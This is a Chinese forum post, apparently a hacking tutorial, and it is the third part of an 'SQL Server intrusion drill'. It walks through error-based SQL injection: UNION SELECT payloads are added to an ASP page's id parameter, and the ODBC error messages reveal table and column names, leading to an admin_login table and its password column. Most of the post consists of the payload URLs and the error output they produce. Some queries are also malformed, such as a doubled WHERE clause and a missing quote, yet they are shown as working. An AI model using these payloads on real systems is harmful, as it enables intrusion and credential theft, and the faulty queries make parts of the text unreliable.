论坛: 菜鸟乐园 标题: 黑客SQL服务器入侵实战演习(三) 复制本贴地址    
作者: www [wish259]    论坛用户   登录

6.0如何可以从数据库返回的ODBC错误信息得到某些重要的数据呢?

  我们可以通过发送精心构造的SQL请求迫使MS SQL SERVER从返回的信息中透露出我们想得到的信息(如表名、列名等)。比方有这么一个URL:

  http://duck/index.asp?id=10

  在上面的URL中我们可以尝试使用UNION子句的方式在整数'10'之后加入其他请求字符串进去的,如:

  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

  上例中的系统表INFORMATION_SCHEMA.TABLES包括了这台服务器中所有表的信息。至于TABLE_NAME区域就包括了每一个表的名称。我们之所以要选择这样写是因为我们知道它是一定存在的。换言之我们的SQL询

  问请求就是:

  SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES-

  服务器接到请求数据后必将返回数据库的第一个表名。当我们使用UNION子句将请求字符串加入整数10之后时,MS SQL SERVER会尝试转换该字符串为整数值。既然我们不能把字符串(nvarchar)转为整数型(int)时,系统就会产生错误。服务器会显示如下错误信息:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

  table1' to a column of data type int.

  /index.asp, line 5

  非常好,这条错误信息告诉了我们转换出现错误的所有相关信息(包括我们想知道的表名)。在这个实例中,我们知道了第一个表名是“table1”。若要得到下一个表名,我们可以发送这样的请求:

  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH

  ERE TABLE_NAME NOT IN ('table1')--

  我们也可以通过LIKE来找寻相关的特殊字:

  http://duck/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WH

  ERE TABLE_NAME LIKE '%25login%25'--

  输出得到:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

  admin_login' to a column of data type int.

  /index.asp, line 5
6.1如何找出表中的列名?

  我们可以利用另一个比较重要的表INFORMATION_SCHEMA.COLUMNS来罗列出一个表的所有列名:

  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME='admin_login'--

  输出显示为:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

  login_id' to a column of data type int.

  /index.asp, line 5

  现在已经得到第一个列的名称了,我们还可以用NOT IN ()得到下一个列名:

  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

  输出得到:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

  [Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '

  login_name' to a column of data type int.

  /index.asp, line 5

  若继续重复这样的操作,我们将可以获得余下所有的列名,如"password"、"details"。当我们使用了下面的请求后就可以得到(除了'login_id','login_name','password',details'之外的列名):

  http://duck/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS

  WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password'

  ,details')--

  输出后得到:

  Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

  [Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

  /index.asp, line 5



地主 发表时间: 04-06-19 20:48

论坛: 菜鸟乐园

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号